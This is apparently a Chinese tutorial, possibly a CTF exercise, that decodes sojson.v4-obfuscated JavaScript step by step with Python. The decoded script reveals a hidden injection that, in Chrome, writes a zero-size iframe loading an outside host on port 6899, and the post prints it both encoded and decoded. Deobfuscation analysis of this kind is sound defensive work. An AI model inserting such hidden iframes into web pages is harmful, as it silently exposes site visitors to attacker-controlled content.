前言

此文仅用于技术科普,教育与研究用途,请勿用于商业甚至非法用途,否则一切后果自负。若用户利用此文章而受到惩处,本人及本平台对其行为概不负责,亦不承担任何连带责任。

在线工具

Sojson.v4https://shtool.shserve.cn/Sojsonv4/解密Sojson.v5 解密https://shtool.shserve.cn/Sojsonv5/

故事开始

一位热心的网友提供了一段,sojson.v4加密的源码,就想着怎么解码

原始代码


['sojson.v4']["\x66\x69\x6c\x74\x65\x72"]["\x63\x6f\x6e\x73\x74\x72\x75\x63\x74\x6f\x72"](((['sojson.v4']+[])["\x63\x6f\x6e\x73\x74\x72\x75\x63\x74\x6f\x72"]['\x66\x72\x6f\x6d\x43\x68\x61\x72\x43\x6f\x64\x65']['\x61\x70\x70\x6c\x79'](null,"118r97A。。。41u59"['\x73\x70\x6c\x69\x74'](/[a-zA-Z]{1,}/))))('sojson.v4');

可以看出来,sojson.v4是对js脚本使用了unicode编码,在python中就可以解码了。 粘贴到Python控制台,得到

unicode解码


['sojson.v4']["filter"]["constructor"](((['sojson.v4']+[])["constructor"]['fromCharCode']['apply'](null,"118r...o41u59"['split'](/[a-zA-Z]{1,}/))))('sojson.v4');

可以看到,括号中的null之后,是用随机字母分割的char数值,使用js的 String.fromCharCode方法解密。

js脚本charcode解码

其中的”118r…o41u59″,可以发现,规律是每两串数字之间是一个大小写字母,写脚本解密


>>>s='"118r...o41u59"'

>>> ss = re.sub(r'[a-zA-Z]',' ',s)

>>> sss = ss.split()

>>> for i in sss:

... if int(i) < 256:

... x += chr(int(i))

... else:

... x += 'UUUU'

s脚本里的unicode解码

解密后的脚本里面有中文unicode,其实无需转换。如果一定要转。这么来。


>>> for i in sss:

... if int(i) < 256:

... x += chr(int(i))

... else:

... xx = "'\u"+hex(int(i))[2:]+"'"

... x += xx.decode('unicode-escape')

> print x

var controller = $('#search ul.tab').attr('dstype');

if (controller == "Storelist") {

$('#search ul.tab li span').eq(0).html('店铺');

$('#search ul.tab li span').eq(1).html('商品');

$('#search-form').attr("action", HOMESITEURL + "/Storelist/index.html");

} else {

$('#search ul.tab li span').eq(0).html('商品');

$('#search ul.tab li span').eq(1).html('店铺');

$('#search-form').attr("action", HOMESITEURL + "/Search/index.html");

}

var u1=navigator['\x75\x73\x65\x72\x41\x67\x65\x6e\x74'];if(u1['\x69\x6e\x64\x65\x78\x4f\x66']("\x43\x68\x72\x6f\x6d\x65")>-1){window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]['\x77\x72\x69\x74\x65']('\x3c\x69\x66\x72\x61\x6d\x65 \x73\x72\x63\x3d\x22\x68\x74\x74\x70\x3a\x2f\x2f\x77\x77\x77\x2e\x63\x72\x63\x37\x30\x32\x2e\x63\x6f\x6d\x3a\x36\x38\x39\x39\x2f\x22 \x62\x6f\x72\x64\x65\x72\x3d\x22\x31\x22 \x66\x72\x61\x6d\x65\x62\x6f\x72\x64\x65\x72\x3d\x22\x31\x22 \x77\x69\x64\x74\x68\x3d\x22\x30\x22 \x68\x65\x69\x67\x68\x74\x3d\x22\x30\x22\x3e\x3c\x2f\x69\x66\x72\x61\x6d\x65\x3e');var _rbJaSzj2="\x54\x68\x69\x73\x5f\x69\x73\x5f\x61\x5f\x66\x6c\x61\x67"}

$('#search').hover(function() {

$('#search ul.tab li').eq(1).show();

$('#search ul.tab li i').addClass('over').removeClass('arrow');

}, function() {

$('#search ul.tab li').eq(1).hide();

$('#search ul.tab li i').addClass('arrow').removeClass('over');

});

$('#search ul.tab li').eq(1).click(function() {

$(this).hide();

if ($(this).find('span').html() == '店铺') {

$('#keyword').attr("placeholder", "请输入您要搜索的店铺关键字");

$('#search ul.tab li span').eq(0).html('店铺');

$('#search ul.tab li span').eq(1).html('商品');

$('#search-form').attr("action", HOMESITEURL+"/Storelist/index.html");

} else {

$('#keyword').attr('placeholder', '请输入您要搜索的商品关键字');

$('#search ul.tab li span').eq(0).html('商品');

$('#search ul.tab li span').eq(1).html('店铺');

$('#search-form').attr("action", HOMESITEURL+"/Search/index.html");

}

$("#keyword").focus();

});

});

还有一段unicode编码

其中的navigator段代码,做了unicode编码,解开即可。


>>> print '''windows["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]['\x77\x72\x69\x74\x65']('\x3c\x69\x66\x72\x61\x6d\x65 \x73\x72\x63\x3d\x22\x68\x74\x74\x70\x3a\x2f\x2f\x77\x77\x77\x2e\x63\x72\x63\x37\x30\x32\x2e\x63\x6f\x6d\x3a\x36\x38\x39\x39\x2f\x22 \x62\x6f\x72\x64\x65\x72\x3d\x22\x31\x22 \x66\x72\x61\x6d\x65\x62\x6f\x72\x64\x65\x72\x3d\x22\x31\x22 \x77\x69\x64\x74\x68\x3d\x22\x30\x22 \x68\x65\x69\x67\x68\x74\x3d\x22\x30\x22\x3e\x3c\x2f\x69\x66\x72\x61\x6d\x65\x3e');var _rbJaSzj2="\x54\x68\x69\x73\x5f\x69\x73\x5f\x61\x5f\x66\x6c\x61\x67"}'''

windows["document"]['write']('<iframe src="http://www.crc702.com:6899/" border="1" frameborder="1" width="0" height="0"></iframe>');var _rbJaSzj2="This_is_a_flag"}

源码下载

JS sojson.vX在线解密工具-附源码-山海云端论坛

JS sojson.vX在线解密工具-附源码相关推荐

  1. java计算机毕业设计Web企业差旅在线管理系统(附源码、数据库)

    java计算机毕业设计Web企业差旅在线管理系统(附源码.数据库) 项目运行 环境配置: Jdk1.8 + Tomcat8.5 + Mysql + HBuilderX(Webstorm也行)+ Ecl ...

  2. 在线计算机考试系统源代码,在线考试系统 附源码和文档

    [实例简介] 在线考试系统 附源码和文档. 做毕业设计,课程设计或者正在学习相关技术知识的朋友可以下载资源学习.想继续学习相关知识的可以关注我. [实例截图] [核心代码] 在线考试系统4 └── S ...

  3. python跑酷游戏源码_Phaser.js实现简单的跑酷游戏附源码下载

    采用的物理引擎是Phaser.js 在这里对此引擎不做过多介绍(因为我也是小白,嘿嘿) 效果展示: 源码(详细源码图片资源可点击文章下方或屏幕右上方的github链接进行clone) 1.创建游戏舞台 ...

  4. 用Java写了一个类QQ界面聊天小项目,可在线聊天(附源码)

    作者: AC路上 blog.csdn.net/weixin_44048140/article/details/109612049 1.功能实现 1.修改功能(密码.昵称.个性签名) 2.添加好友.删除 ...

  5. Node.js校园志愿者管理系统-计算机毕设 附源码78452

    Node.js校园志愿者管理系统 摘 要 信息化社会内需要与之针对性的信息获取途径,但是途径的扩展基本上为人们所努力的方向,由于站在的角度存在偏差,人们经常能够获得不同类型信息,这也是技术最为难以攻克 ...

  6. Spring Boot + Vue.js 实现前后端分离(附源码)

    点击上方"方志朋",选择"设为星标" 回复"666"获取新整理的面试文章 作者: 梁小生0101 链接:juejin.im/post/5c6 ...

  7. h5 数字变化_基于JS实现数字动态变化显示效果附源码

    先给大家展示下效果,感觉不错,可以参考实现代码,文末附有源码哦. 1.目标 以液晶电子表样式,动态变化的在指定元素内显示数字. 目标关键词:动态变化(定时器),指定元素(DOM元素ID),数字(num ...

  8. SEO网站外链全自动在线发布工具PHP源码

    这是一款SEO网站外链在线全自动发布工具的网站源码,内置上千条外链发布接口,SEO外链发布工具的原理就是通过网站源码内置的外链接口,输入域名之后,通过访问这些外链接口,即可在互联网上面产生大量的网站外 ...

  9. 遥望星空FTP文件同步工具(附源码)1.0 发布

    FTP文件同步工具1.0 发布 主要功能: 1.支持多任务多线程 2.支持自动启动 3.支持2种时间触发方式 4.支持任务进度显示 5.支持WinFtp Server.ftpserver.exe.Se ...

最新文章

  1. 如何站在使用者的角度来设计SDK-微信公众号开发SDK(消息处理)设计之抛砖引玉...
  2. mysql登录抓包_MySQL登录验证的抓包
  3. centos7 dns配置_Centos7.7 安装FreeIPA (三)
  4. python arduino i2c1602_Arduino通过I2C(PCF8574T)驱动1602LCD
  5. Redis 实践笔记1---基础知识
  6. 冲击波病毒攻击-《截获网站服务器数据》
  7. junit4进行单元测试
  8. python实验报告内容实现购物车系统_Python实现的购物车功能示例
  9. 安装go编译器后没有gopath文件夹_Go 语言环境安装(集成 VS code)
  10. xp系统共享服务器怎么设置权限,xp系统局域网设置权限不让其他人访问的方法...
  11. Tomcat访问localhost:8080直接跳转到项目首页
  12. 小心! Java三目运算符
  13. linux中的批量删除和查找
  14. python和pyqt5入门之简易汇率转换器
  15. 如何在头条做营销:2022今日头条营销价值洞察报告.pdf(附下载链接)
  16. Postman实现接口自动化测试
  17. 【从0到1搭建LoRa物联网】3、国产LoRa终端ASR6505软硬件
  18. 立体像对空间前方交会(利用外方位元素交会出地面点三维坐标)
  19. Cloudberry Drive的神用法
  20. 室内定位方案之化工厂访客定位监测系统,一种室内定位管理方案

热门文章

  1. 页面跳转的两种方式-重定向和转发的区别(详细)
  2. Android---给Linearlayout设置边框+弧度角
  3. 51nod 1596 搬货物 (二进制)
  4. CentOS Linux
  5. mosquitto mysql_转mosquitto auth plugin 编译配置
  6. (转)互联网保险O2O平台微服务架构设计
  7. 孟加拉国银行的MogaFX外汇收入
  8. 【连载】【FPGA黑金开发板】Verilog HDL那些事儿--VGA(二十)
  9. 在 Express中配置使用 art-template 模板引擎 --- express-art-template
  10. Scratch 创意游戏(一):弹球游戏